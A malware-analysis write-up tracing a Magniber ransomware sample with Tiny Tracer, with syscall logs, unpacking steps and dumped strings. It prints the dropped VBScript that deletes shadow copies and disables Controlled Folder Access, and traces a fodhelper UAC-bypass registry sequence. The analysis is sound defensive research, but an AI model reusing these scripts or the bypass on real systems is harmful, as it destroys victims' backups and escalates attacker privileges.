Magniber is a ransomware that was initially targeting South Korea. My first report on this malware was written for Malwarebytes in 2017 (here).
Since then, the ransomware was completely rewritten, and turned into a much more complex beast. The articles showing the timeline of the evolution of Magniber ransomware are available here: Magniber at Malpedia. In this writeup we will have a deep dive in a one of the samples from the updated edition.
Note that the sample described here is not new: it has been discovered in 2022 and analyzed by various researchers. Due to the fact that this malware uses raw syscalls, I decided that it is a good example to showcase the new version of Tiny Tracer (v2.3), allowing to trace syscalls. However, this writeup is not limited to a short demo, but shows the analysis process step by step, from the beginning. Tiny Tracer will help us easily reach the hidden core of this obfuscated ransomware: the code directly responsible for the files encryption process.
When executed, this rasomware runs silently, encrypting files with selected extensions, and appending its own extension at the end. In case of the currently analyzed sample, the added extention is ‘vieijibfm
‘. In each directory with encrypted files, we can also find a ransom note: README.html
.
Visualization of an encrypted BMP file – before and after (created with the help of file2png.py):
The entropy of the encrypted file is high, and there are no patterns visible. This may suggest that some strong encryption was used, possibly AES with block chaining (CBC mode).
It drops, runs and then deletes a VBS script in C:\Users\Public
, under a random name:
We can also find there two files with pseudorandom names, that are used as mutexes, to indidate that the encryption is running, or completed. At the end, the PNG file is dropped in the same directory:
After a while, the wallpaper gets changed to the dropped PNG, announcing the attack:
The information printed at the wallpaper mentions the ransom note README.html
where the victim can find more information.
The content of the README.html
has the following form:
It mentions further a Tor website, that can be used to make the contact with the attacker, and possibly buy the key for files decryption. At the time of this analysis, the website was not available.
While the extension added to the encrypted files didn’t change, and also occurs in the note, the used number at the beginning of the address is generated per attack.
Note that the ransom note is almost identical as the note used by the old Magniber’s version from 2017:
Above: ransom note from the old Magniber’s edition (from 2017), full analysis at: https://www.malwarebytes.com/blog/news/2017/10/magniber-ransomware-exclusively-for-south-koreans
Magniber sample comes packed in the MSI (Microsoft Installer). We can view the scripts inside with Microsoft’s tool, Orca MSI (mirror: here).
By looking at the “Custom Action” we find out that the binary to be run is named “utskzc”, and the function that will be executed from there is “mvrtubhpxy”. In order to access that binary we need to unpack the content of the MSI package. We can do it with the help of 7zip.
Then we find out that the aforementioned binary is a PE file, and it exports the function “mvrtubhpxy”.
This is where the execution of the binary starts.
If we try to open this binary in IDA, we can clearly see that this binary is obfuscated. The execution starts from a single call…
…that leads into a “rabbithole” of jumps…
How can we analyze the ransomware inner workings, when it is so hard to even find the relevant code? It isn’t as hard as it seems if we involve DBI (Dynamic Binary Instrumentation) tools, such as Pin-based Tiny Tracer.
Let’s dive into the sample by tracing it with Tiny Tracer (you can find the installation instructions here). To makes things easier, I converted the DLL into EXE (as described here), changing its entry point to the exported function (since the DllMain
does not do much in this case, and the exported function takes no parameters, we should be able to simply redirect it).
However, on the attempt of tracing it, I’ve got an unpleasant surprise. The Pin Tracer terminated with an error:
Pin: pin-3.25-98650-8f6168173 Copyright 2002-2022 Intel Corporation. E: UPC Dispatcher: Unhandled internal exception in Pin or tool. ThreadId = 0 SysThreadId = 3348. Interruption context: IP: 0x0725c6ad0 SP: 0x001b0e290. Exception Code: RECEIVED_ACCESS_FAULT. Exception Address = 0x0725c6ad0. Access Type: READ. Access Address = 0x2792246e3. ExceptionFlags: 0x000000000
It is not very intuitive to guess what caused such error. Fortunately, from the previous experience I know what it could be: some corruptions in the PE format itself. By looking at the Magniber executable in PE-bear, I found the suspected cause – malformed data directories:
I cleaned it up, by removing the invalid entries:
Then made another attempt. This time the tracing continues cleanly.
This is the fragment of the tracelog made with default Tiny Tracer’s settings:
f069;section: [.swicc] 10c4;called: ?? [13240000+0] > 13240000+20;called: ?? [1324d000+53d] > 13240000+55;called: ?? [13270000+0] > 13240000+ca;called: ?? [13270000+0] > 13240000+229;called: ?? [13330000+0] > 13240000+272;called: ?? [13370000+0] > 13240000+229;called: ?? [13390000+0] > 13240000+272;called: ?? [133d0000+0]
It doesn’t give us much information, apart from the fact that the execution quickly switched to some newly allocated block of code (probably a shellcode or a section unpacked in memory). To get more details, make sure that following settings are set in TinyTracer.ini:
FOLLOW_SHELLCODES=3 TRACE_SYSCALL=True
This time we can see something more interesting – it turns out the malware uses raw syscalls!
f069;section: [.swicc] ef24;SYSCALL:0x18(NtAllocateVirtualMemory) 10c4;called: ?? [14bd0000+0] > 14bd0000+20;called: ?? [14bdd000+53d] > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 14bd0000+55;called: ?? [14be0000+0] > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 14bd0000+ca;called: ?? [14be0000+0] > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 14bd0000+229;called: ?? [14c90000+0] > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 14bd0000+272;called: ?? [14cd0000+0] > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 14bd0000+229;called: ?? [14cf0000+0] > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) [...]
At this point we can already read from the tracelog where the “rabbit hole” ends. The new memory is allocated (using the syscall), the content of shellcode is copied there, and executed. The execution is redirected to the shellcode at the RVA = 0x10c4
in the Magniber’s executable. We can set the breakpoint at this offset in a debugger, and dump this shellcode for further analysis (it is shellcode#1).
But for now, let’s continue with the tracing of the main executable, and see what we can learn from it…
There are some back-and-forth calls between the different pieces of a shellcode, so, in order to avoid the noise, I am gonna filter it out by changing yet another option in TinyTracer.ini:
LOG_SHELLCODES_TRANSITIONS=False
And we can try tracing it again. This is what I got this time:
f069;section: [.swicc] ef24;SYSCALL:0x18(NtAllocateVirtualMemory) 10c4;called: ?? [14bd0000+0] > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 14be0000+8;SYSCALL:0x36(NtQuerySystemInformation) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 14be0000+8;SYSCALL:0x36(NtQuerySystemInformation) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 14c90000+8;SYSCALL:0x34(NtDelayExecution) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 14cd0000+8;SYSCALL:0x26(NtOpenProcess) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 14cf0000+8;SYSCALL:0x34(NtDelayExecution) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 14d30000+8;SYSCALL:0x26(NtOpenProcess) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 14d70000+8;SYSCALL:0x34(NtDelayExecution) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 14d80000+8;SYSCALL:0x26(NtOpenProcess) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 14d90000+8;SYSCALL:0x34(NtDelayExecution) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 14da0000+8;SYSCALL:0x26(NtOpenProcess) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) [...] > 170f7000+6cb;SYSCALL:0x8(NtWriteFile) > 170f7000+6b5;SYSCALL:0xf(NtClose) > 170f7000+6aa;SYSCALL:0x34(NtDelayExecution) > 170f2000+cc3;ntdll.RtlCreateProcessParametersEx > 170f7000+67e;SYSCALL:0x18(NtAllocateVirtualMemory) > 170f7000+841;SYSCALL:0xc8(NtCreateUserProcess)
Complete tracelog available here: magni.tag
At the end PIN dumped pin.log
file informing about an error:
Pin: pin-3.26-98690-1fc9d60e6 Copyright 2002-2022 Intel Corporation. A: C:\tmp_proj\pinjen\workspace\pypl-pin-nightly\GitPin\Source\pin\vm_w\follow_child_windows.cpp: LEVEL_VM::WIN_FOLLOW_CHILD::NotifyAfterCreateUserProcess: 129: assertion failed: suspended
This time the error informs that the traced process created a child, which Tiny Tracer failed to follow (indeed we can see in the log file the last called function is NtCreateUserProcess
). This situation is normal.
As we can see, the majority of the logged functions are called by syscalls. There are just a few functions here and there that are called directly from a DLL, such as RtlCreateProcessParametersEx
, RtlInitUnicodeString
.
The next thing that we can do in order to get more information about what is going on, is to dump arguments of the functions. This can be easily done with Tiny Tracer, by editing params.txt list (more info on project Wiki). Since Tiny Tracer v2.3 we can also log syscalls arguments. In this case, we will log the syscalls arguments referencing them by the corresponding functions from NTDLL.
I prepared a list relevant for the above tracelog (gist: params.txt):
ntdll;RtlCreateProcessParametersEx;10 ntdll;RtlInitUnicodeString;2 ntdll;NtAllocateVirtualMemory;6 ntdll;NtQuerySystemInformation;4 ntdll;NtOpenProcess;4 ntdll;NtWriteVirtualMemory;5 ntdll;NtCreateThreadEx;11 ntdll;NtResumeThread;2 ntdll;NtQueryPerformanceCounter;2 ntdll;NtOpenFile;6 ntdll;NtQueryVolumeInformationFile;5 ntdll;NtOpenKey;3 ntdll;NtEnumerateKey;6 ntdll;NtWriteFile;9 ntdll;NtSetValueKey;6 ntdll;NtCreateUserProcess;10 ntdll;NtCreateFile;10
I traced it again, with the changed settings. This time tracelog revealed the strings that were referenced by this functions. Fragment:
[...] > 17353000+df9;ntdll.RtlInitUnicodeString RtlInitUnicodeString: Arg[0] = ptr 0x00000000174bf900 -> U"\Registry\User\" Arg[1] = ptr 0x0000000017c80000 -> L"AppX04g0mbrz4mkc6e879rpf6qk6te730jfv" > 17357000+6f7;SYSCALL:0x12(NtOpenKey) NtOpenKey: Arg[0] = ptr 0x00000000174bf8f0 -> {\xff\xff\xff\xff\xff\xff\xff\xff} Arg[1] = ptr 0x00000000000f003f -> {\x00@.\x9a\x02\x00\x00\x00} Arg[2] = ptr 0x00000000174bf910 -> L"0" > 17353000+e4e;ntdll.RtlInitUnicodeString RtlInitUnicodeString: Arg[0] = ptr 0x00000000174bf900 -> U"AppX04g0mbrz4mkc6e879rpf6qk6te730jfv" Arg[1] = ptr 0x00000000174bf9c0 -> L"Shell" > 17357000+6f7;SYSCALL:0x12(NtOpenKey) NtOpenKey: Arg[0] = ptr 0x00000000174bf8f0 -> {\x04\x02\x00\x00\x00\x00\x00\x00} Arg[1] = ptr 0x00000000000f003f -> {\x00@.\x9a\x02\x00\x00\x00} Arg[2] = ptr 0x00000000174bf910 -> L"0" > 17353000+ea2;ntdll.RtlInitUnicodeString RtlInitUnicodeString: Arg[0] = ptr 0x00000000174bf900 -> U"Shell" Arg[1] = ptr 0x00000000174bf9b0 -> L"Open" > 17357000+6f7;SYSCALL:0x12(NtOpenKey) NtOpenKey: Arg[0] = ptr 0x00000000174bf8f0 -> {\x08\x02\x00\x00\x00\x00\x00\x00} Arg[1] = ptr 0x00000000000f003f -> {\x00@.\x9a\x02\x00\x00\x00} Arg[2] = ptr 0x00000000174bf910 -> L"0" > 17353000+ef6;ntdll.RtlInitUnicodeString RtlInitUnicodeString: Arg[0] = ptr 0x00000000174bf900 -> U"Open" Arg[1] = ptr 0x00000000174bf9e0 -> L"command" > 17357000+6f7;SYSCALL:0x12(NtOpenKey) NtOpenKey: Arg[0] = ptr 0x00000000174bf8f0 -> {\x0c\x02\x00\x00\x00\x00\x00\x00} Arg[1] = ptr 0x00000000000f003f -> {\x00@.\x9a\x02\x00\x00\x00} Arg[2] = ptr 0x00000000174bf910 -> L"0" > 17353000+f49;ntdll.RtlInitUnicodeString RtlInitUnicodeString: Arg[0] = ptr 0x00000000174bf900 -> U"command" Arg[1] = ptr 0x00000000174bfaf0 -> {\x00\x00\x00\x00\x00\x00\x00\x00} > 17357000+70d;SYSCALL:0x60(NtSetValueKey) NtSetValueKey: Arg[0] = 0x0000000000000210 = 528 Arg[1] = ptr 0x00000000174bf900 -> {\x00\x00\x02\x00\x00\x00\x00\x00} Arg[2] = 0 Arg[3] = 0x0000000000000001 = 1 Arg[4] = ptr 0x0000000017bd0000 -> L"wscript.exe /B /E:VBScript.Encode ../../Users/Public/vybmaryqycp.mnxu" Arg[5] = 0x000000000000008a = 138 > 17353000+f86;ntdll.RtlInitUnicodeString RtlInitUnicodeString: Arg[0] = ptr 0x00000000174bf900 -> {\x00\x00\x02\x00\x00\x00\x00\x00} Arg[1] = ptr 0x00000000174bfa28 -> L"DelegateExecute" > 17357000+70d;SYSCALL:0x60(NtSetValueKey) NtSetValueKey: Arg[0] = 0x0000000000000210 = 528 Arg[1] = ptr 0x00000000174bf900 -> U"DelegateExecute" Arg[2] = 0 Arg[3] = 0x0000000000000001 = 1 Arg[4] = ptr 0x00000000174bfaf0 -> {\x00\x00\x00\x00\x00\x00\x00\x00} Arg[5] = 0x0000000000000004 = 4 > 17357000+6b5;SYSCALL:0xf(NtClose) > 17357000+689;SYSCALL:0x1e(NtFreeVirtualMemory) > 17354000+1b;ntdll.RtlInitUnicodeString RtlInitUnicodeString: Arg[0] = ptr 0x00000000174bf900 -> U"DelegateExecute" Arg[1] = ptr 0x00000000174bf9f0 -> L"ms-settings" > 17357000+718;SYSCALL:0x1d(NtCreateKey) > 17354000+87;ntdll.RtlInitUnicodeString RtlInitUnicodeString: Arg[0] = ptr 0x00000000174bf900 -> U"ms-settings" Arg[1] = ptr 0x00000000174bf9d0 -> L"CurVer" > 17357000+718;SYSCALL:0x1d(NtCreateKey) > 17354000+f4;ntdll.RtlInitUnicodeString RtlInitUnicodeString: Arg[0] = ptr 0x00000000174bf900 -> U"CurVer" Arg[1] = ptr 0x00000000174bfaf0 -> {\x00\x00\x00\x00\x00\x00\x00\x00} > 17357000+70d;SYSCALL:0x60(NtSetValueKey) NtSetValueKey: Arg[0] = 0x0000000000000214 = 532 Arg[1] = ptr 0x00000000174bf900 -> {\x00\x00\x02\x00\x00\x00\x00\x00} Arg[2] = 0 Arg[3] = 0x0000000000000001 = 1 Arg[4] = ptr 0x0000000017c80000 -> L"AppX04g0mbrz4mkc6e879rpf6qk6te730jfv" Arg[5] = 0x0000000000000048 = 72 > 17357000+6b5;SYSCALL:0xf(NtClose) > 17357000+6b5;SYSCALL:0xf(NtClose) > 17357000+6aa;SYSCALL:0x34(NtDelayExecution) > 17357000+67e;SYSCALL:0x18(NtAllocateVirtualMemory) NtAllocateVirtualMemory: Arg[0] = 0xffffffffffffffff = 18446744073709551615 Arg[1] = ptr 0x00000000174bf8c0 -> {\x00\x00\x00\x00\x00\x00\x00\x00} Arg[2] = 0 Arg[3] = ptr 0x00000000174bf8c8 -> L"J" Arg[4] = 0x0df06fa200001000 = 1004425458479009792 Arg[5] = 0x3548001a00000004 = 3839318794002497540 > 17357000+6c0;SYSCALL:0x55(NtCreateFile) NtCreateFile: Arg[0] = ptr 0x00000000174bf8b0 -> {\xff\xff\xff\xff\xff\xff\xff\xff} Arg[1] = ptr 0x0000000000120116 -> {\x00\x00\xf0*\x9a\x02\x00\x00} Arg[2] = ptr 0x00000000174bf840 -> L"0" Arg[3] = ptr 0x00000000174bf830 -> {\x00\x00\x00\x00\x00\x00\x00\x00} Arg[4] = 0 Arg[5] = 0x3548001a00000080 = 3839318794002497664 Arg[6] = 0x7a20201200000002 = 8800068933563449346 Arg[7] = 0x3478478a00000005 = 3780850545208590341 Arg[8] = 0x3c506e8200000020 = 4346095145037332512 Arg[9] = 0 > 17357000+6cb;SYSCALL:0x8(NtWriteFile) NtWriteFile: Arg[0] = 0x0000000000000200 = 512 Arg[1] = 0 Arg[2] = 0 Arg[3] = 0 Arg[4] = ptr 0x00000000174bf810 -> {\x00\x00\x00\x00\x00\x00\x00\x00} Arg[5] = ptr 0x000000001735cdbf -> {#@~^YQIA} Arg[6] = 0x7a2020120000027c = 8800068933563449980 Arg[7] = 0 Arg[8] = 0 > 17357000+6b5;SYSCALL:0xf(NtClose) > 17357000+6aa;SYSCALL:0x34(NtDelayExecution) > 17352000+cc3;ntdll.RtlCreateProcessParametersEx RtlCreateProcessParametersEx: Arg[0] = ptr 0x00000000174bf8b0 -> {\x00\x00\x00\x00\x00\x00\x00\x00} Arg[1] = ptr 0x00000000174bf7f0 -> U"\??\C:\Windows\System32\cmd.exe" Arg[2] = 0 Arg[3] = 0 Arg[4] = ptr 0x00000000174bf800 -> U"/c fodhelper.exe" Arg[5] = 0 Arg[6] = 0 Arg[7] = 0 Arg[8] = 0 Arg[9] = 0 > 17357000+67e;SYSCALL:0x18(NtAllocateVirtualMemory) NtAllocateVirtualMemory: Arg[0] = 0xffffffffffffffff = 18446744073709551615 Arg[1] = ptr 0x00000000174bf8c0 -> {\x00\x00\x00\x00\x00\x00\x00\x00} Arg[2] = 0 Arg[3] = ptr 0x00000000174bf8b8 -> L" " Arg[4] = 0x0000000000001000 = 4096 Arg[5] = 0x0000000000000004 = 4 > 17357000+841;SYSCALL:0xc8(NtCreateUserProcess) NtCreateUserProcess: Arg[0] = ptr 0x00000000174bf810 -> {\x00\x00\x00\x00\x00\x00\x00\x00} Arg[1] = ptr 0x00000000174bf8c8 -> {\x00\x00\x00\x00\x00\x00\x00\x00} Arg[2] = 0x00000000001fffff = 2097151 Arg[3] = 0x00000000001fffff = 2097151 Arg[4] = 0 Arg[5] = 0 Arg[6] = 0 Arg[7] = 0 Arg[8] = ptr 0x000000000046a610 -> {\xc8\x06\x00\x00\xc8\x06\x00\x00} Arg[9] = ptr 0x00000000174bf820 -> L"X"
Complete log available here: magni.exe.tag.
As we can see, at the end the application executed “fodhelper.exe”. Googling for the related strings lead us to the following PoC: FodhelperBypass.ps1. As we can see, this system application was used in one of the technique of UAC (User Account Bypass), meant to elevate privileges on Windows. Comparing the strings used by the malware with the ones used in the PoC, as well as their order, and the context of usage, we can find a big overlap that allows to guess that this indeed was a UAC technique used by Magniber.
Then we reach the aforementioned point where the Tiny Tracer is not able to follow the child process, so the execution terminates. At first, I thought to get more luck by running Magniber directly as an Administrator, so that it will skip the process creation, that is a part of its UAC technique. Unfortunately, the UAC is executed regardless the malware is deployed elevated or not. For now we will just continue the analysis with what we have.
We can see in the log a line referencing a VBScript:
L"wscript.exe /B /E:VBScript.Encode ../../Users/Public/vybmaryqycp.mnxu"
Indeed this script is dropped (under a pseudo-random name) into C:/Users/Public.
This script is in an encrypted form (VBE), but it can be deobfuscated easily using public tools, i.e. this one. The resulting content:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
On Error Resume Next | |
Set dd4y336wf97z = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") | |
Set s1o28iq = dd4y336wf97z.ExecQuery("Select * From Win32_ShadowCopy") | |
For Each d18706x in s1o28iq | |
d18706x.Delete_ | |
Next | |
Set c6406r7uh = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\Microsoft\Windows\Defender:MSFT_MpPreference") | |
Set jlfze3cy1qjq = c6406r7uh.Methods_("Set").inParameters.SpawnInstance_() | |
jlfze3cy1qjq.Properties_.Item("EnableControlledFolderAccess") = 0 | |
Set ub7mu3 = c6406r7uh.ExecMethod_("Set", jlfze3cy1qjq) | |
WScript.Quit Err.Number |
As we can see, the script is responsible for deleting shadow copies. It also try to change the system settings, in order to expand what files it can access.
After being run, the script is deleted.
The inital sample has been terminated, but nevertheless, looking at the symptoms, we can conclude that the ransomware continued its execution: any newly created files with particular extensions keep getting encrypted. Probably the modules got injected into other processes. This observation can be confirmed by looking at the tracelog:
[...] > 15460000+8;SYSCALL:0x26(NtOpenProcess) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 15470000+8;SYSCALL:0x34(NtDelayExecution) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 15490000+8;SYSCALL:0x19(NtQueryInformationProcess) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 154a0000+8;SYSCALL:0x34(NtDelayExecution) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 154b0000+8;SYSCALL:0x34(NtDelayExecution) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 154c0000+8;SYSCALL:0x3a(NtWriteVirtualMemory) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 154d0000+8;SYSCALL:0x34(NtDelayExecution) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 154e0000+8;SYSCALL:0x50(NtProtectVirtualMemory) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 154f0000+8;SYSCALL:0x34(NtDelayExecution) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 15500000+8;SYSCALL:0xc1(NtCreateThreadEx) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 15510000+8;SYSCALL:0x34(NtDelayExecution) > 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory) > 15530000+8;SYSCALL:0x52(NtResumeThread) [...]
As we can see in the log, the malware was looping over processes, writing to some of them, and executing the written content in a new thread.
In order to reveal where the implanted modules are located, I scanned the system with HollowsHunter (as an Administrator), with a parameter /shellc
– to dump all the shellcodes. It turned out that there are multiple processes infected with the same piece of a shellcode. Example:
Looking at the shellcode strings, we can see that it has a PNG embedded (that is probably the used wallpaper), and as well some HTML and JavaScript:
The same content of obfuscated JavaScript can be found in Magniber’s README:
By dumping all the strings from the shellcode, with the help of FLOSS, we can see some more things hinting that this shellcode belongs to our ransomware:
[...] FLOSS static Unicode strings \??\ 0123456789abcdef f0123456789 vieijibfm mstrxoorvdmynkde documents and settings appdata local settings sample music sample pictures sample videos tor browser recycle windows boot intel msocache perflogs program files programdata recovery system volume information winnt README.html Users\Public\ wscript.exe /B /E:VBScript.Encode ../../Users/Public/ .mnxu
For example, there is a list of well known directories. Such lists are often used by ransomware to skip particular system directories. There are also strings related to the dropped VBE script, and the hardcoded ransomware extension: vieijibfm
.
Overall, we can confirm with a high level of a confidence that the captured shellcode belongs to Magniber.
We can run HollowsHunter with option /kill
in order to kill all the infected and suspicious processes. To confirm that the ransomware is no longer active in the system, we can make another experiment with creating a new file with one of the attacked extensions. This time the new file won’t get encrypted – meaning all the processes containing Magniber are killed.
3a2b8ef624b4318fc142a6266c70f88799e80d10566f6dd2d8d74e91d651491a – the shellcode#2
We can make an educated guess that the dumped shellcode is the unpacked Magniber’s core. So, we will continue our tracing from this point.
In order to trace a shellcode, I have to wrap it as an executable. Similarly to the first stage, the shellcode is 64bit.
There are various ways to make a PE out of a shellcode. I decided to simply add it as a new section to the first stage executable, and then redirect the Entry Point there:
Adding the section with the dumped shellcode (using PE-bear)
Redirection of Entry Point to the newly added shellcode
First, I tested if the file executes properly, just by running it as a standalone on my VM. Everything works as expected: files got encrypted, and the wallpaper changes. So, that indeed it is the main part of the ransomware, responsible for encryption of the files.
Then I rolled back the VM, and run it once again – this time via TinyTracer. It turned out to work well. However, the tracing again breaks on the new process creation (used for UAC). It is called via syscall. In contrast to the previous part, this time the call is made from the static code (saved in the PE section, rather than in a dynamically allocated memory), so it is easy to patch it out. I did it just by NOP-in the syscall in PE-bear.
Syscall responsible for executing NtCreateUserProcess
viewed in PE-bear:
The same syscall after being NOP-ed out:
Now the tracing proceeds further, to the files encryption.
Just like in the previous case, first I traced it without parameters, to have an overview of what functions are going to be called, and then added relevant entries into parameters.txt
. Some new function has been added, comparing with the part 1.
ntdll;NtQueryDirectoryFile;10
ntdll;NtQueryInformationProcess;5
ntdll;NtSetInformationFile;5
The malware keeps running for quite a while (as the execution is slowed down because of the instrumentation with Pin), but we can preview the log in the real time with the help of tools like baretail. By looking at the executed function it seems to be indeed files encryption. Waiting for full system encryption to finish makes no sense, so I decided to break the execution manually and terminate the process.
Fragment of the resulting tracelog:
2000;section: [shellc] 19694;SYSCALL:0x31(NtQueryPerformanceCounter) NtQueryPerformanceCounter: Arg[0] = ptr 0x000000000014fb00 -> {\x00\x00\x00\x00\x00\x00\x00\x00} Arg[1] = 0 19694;SYSCALL:0x31(NtQueryPerformanceCounter) NtQueryPerformanceCounter: Arg[0] = ptr 0x000000000014fb00 -> {\xbf\xd8\xd2\x82\x06\x00\x00\x00} Arg[1] = 0 19694;SYSCALL:0x31(NtQueryPerformanceCounter) NtQueryPerformanceCounter: Arg[0] = ptr 0x000000000014fb00 -> {\xc5\xf9\xd2\x82\x06\x00\x00\x00} Arg[1] = 0 19694;SYSCALL:0x31(NtQueryPerformanceCounter) NtQueryPerformanceCounter: Arg[0] = ptr 0x000000000014fb00 -> {\x19\xfc\xd2\x82\x06\x00\x00\x00} Arg[1] = 0 19694;SYSCALL:0x31(NtQueryPerformanceCounter) NtQueryPerformanceCounter: Arg[0] = ptr 0x000000000014fb00 -> {m\x06\xd3\x82\x06\x00\x00\x00} Arg[1] = 0 19694;SYSCALL:0x31(NtQueryPerformanceCounter) NtQueryPerformanceCounter: Arg[0] = ptr 0x000000000014fb00 -> {\xb8\x08\xd3\x82\x06\x00\x00\x00} Arg[1] = 0 19694;SYSCALL:0x31(NtQueryPerformanceCounter) NtQueryPerformanceCounter: Arg[0] = ptr 0x000000000014fb00 -> {P\x0a\xd3\x82\x06\x00\x00\x00} Arg[1] = 0 19694;SYSCALL:0x31(NtQueryPerformanceCounter) NtQueryPerformanceCounter: Arg[0] = ptr 0x000000000014fb00 -> {\xc0\x0b\xd3\x82\x06\x00\x00\x00} Arg[1] = 0 19694;SYSCALL:0x31(NtQueryPerformanceCounter) NtQueryPerformanceCounter: Arg[0] = ptr 0x000000000014fb00 -> {E\x0d\xd3\x82\x06\x00\x00\x00} Arg[1] = 0 19694;SYSCALL:0x31(NtQueryPerformanceCounter) NtQueryPerformanceCounter: Arg[0] = ptr 0x000000000014fb00 -> {\xc2\x0e\xd3\x82\x06\x00\x00\x00} Arg[1] = 0 196aa;SYSCALL:0x34(NtDelayExecution) 1969f;SYSCALL:0x19(NtQueryInformationProcess) 1967e;SYSCALL:0x18(NtAllocateVirtualMemory) NtAllocateVirtualMemory: Arg[0] = 0xffffffffffffffff = 18446744073709551615 Arg[1] = ptr 0x000000000014fb08 -> {\x00\x00\x00\x00\x00\x00\x00\x00} Arg[2] = 0 Arg[3] = ptr 0x000000000014fb00 -> {\x10\x00\x00\x00\x00\x00\x00\x00} Arg[4] = 0x14801af200001000 = 1477210304461934592 Arg[5] = 0x14d8106a00000004 = 1501968523180638212 196d6;SYSCALL:0x33(NtOpenFile) NtOpenFile: Arg[0] = ptr 0x000000000014faf8 -> {\x00\x00\x00\x00\x00\x00\x00\x00} Arg[1] = 0x0000000000100080 = 1048704 Arg[2] = ptr 0x000000000014fa90 -> L"0" Arg[3] = ptr 0x000000000014fa58 -> {\x00\x00\x00\x00\x00\x00\x00\x00} Arg[4] = 0x14801af200000001 = 1477210304461930497 Arg[5] = 0x14d8106a00000021 = 1501968523180638241 [...]
By looking at the tracelog, we can clearly see fragments that resemble file encryption. Relevant fragments:
1972e;SYSCALL:0x11(NtQueryInformationFile) 196c0;SYSCALL:0x55(NtCreateFile) NtCreateFile: Arg[0] = ptr 0x000000000014ef08 -> {\x00\x00\x00\x00\x00\x00\x00\x00} Arg[1] = 0x0000000000120116 = 1179926 Arg[2] = ptr 0x000000000014eb88 -> L"0" Arg[3] = ptr 0x000000000014eae0 -> {\x00\x00\x00\x00\x00\x00\x00\x00} Arg[4] = 0 Arg[5] = 0x0000000000000080 = 128 Arg[6] = 0x0000000000000003 = 3 Arg[7] = 0x0000000000000001 = 1 Arg[8] = 0x0000000000000120 = 288 Arg[9] = 0 1967e;SYSCALL:0x18(NtAllocateVirtualMemory) NtAllocateVirtualMemory: Arg[0] = 0xffffffffffffffff = 18446744073709551615 Arg[1] = ptr 0x000000000014ea78 -> {\x00\x00\x00\x00\x00\x00\x00\x00} Arg[2] = 0 Arg[3] = ptr 0x000000000014eac8 -> {\x00\x01\x10\x00\x00\x00\x00\x00} Arg[4] = 0x0000000000001000 = 4096 Arg[5] = 0x0000000000000004 = 4 1967e;SYSCALL:0x18(NtAllocateVirtualMemory) NtAllocateVirtualMemory: Arg[0] = 0xffffffffffffffff = 18446744073709551615 Arg[1] = ptr 0x000000000014eaa0 -> {\x00\x00\x00\x00\x00\x00\x00\x00} Arg[2] = 0 Arg[3] = ptr 0x000000000014ea68 -> {\x00\x01\x10\x00\x00\x00\x00\x00} Arg[4] = 0x0000000000001000 = 4096 Arg[5] = 0x0000000000000004 = 4 196e1;SYSCALL:0x6(NtReadFile) 196cb;SYSCALL:0x8(NtWriteFile) NtWriteFile: Arg[0] = 0x0000000000000470 = 1136 Arg[1] = 0 Arg[2] = 0 Arg[3] = 0 Arg[4] = ptr 0x000000000014ea38 -> {\x00\x00\x00\x00\x00\x00\x00\x00} Arg[5] = ptr 0x00000000163c0000 -> {\x01`\xa4\x13H\xc7w.} Arg[6] = 0x00000000000005a0 = 1440 Arg[7] = 0 Arg[8] = 0 1967e;SYSCALL:0x18(NtAllocateVirtualMemory) NtAllocateVirtualMemory: Arg[0] = 0xffffffffffffffff = 18446744073709551615 Arg[1] = ptr 0x000000000014ea70 -> {\x00\x00\x00\x00\x00\x00\x00\x00} Arg[2] = 0 Arg[3] = ptr 0x000000000014eaa8 -> {\x00\x01\x00\x00\x00\x00\x00\x00} Arg[4] = 0x0000000000001000 = 4096 Arg[5] = 0x0000000000000004 = 4 19694;SYSCALL:0x31(NtQueryPerformanceCounter) NtQueryPerformanceCounter: Arg[0] = ptr 0x000000000014e890 -> {\x16)\xb4\xb4\x05C\xd0\x92} Arg[1] = 0 [...] 19694;SYSCALL:0x31(NtQueryPerformanceCounter) NtQueryPerformanceCounter: Arg[0] = ptr 0x000000000014e890 -> {h\xa1\xe1\x9e\x04\x00\x00\x00} Arg[1] = 0 196cb;SYSCALL:0x8(NtWriteFile) NtWriteFile: Arg[0] = 0x0000000000000470 = 1136 Arg[1] = 0 Arg[2] = 0 Arg[3] = 0 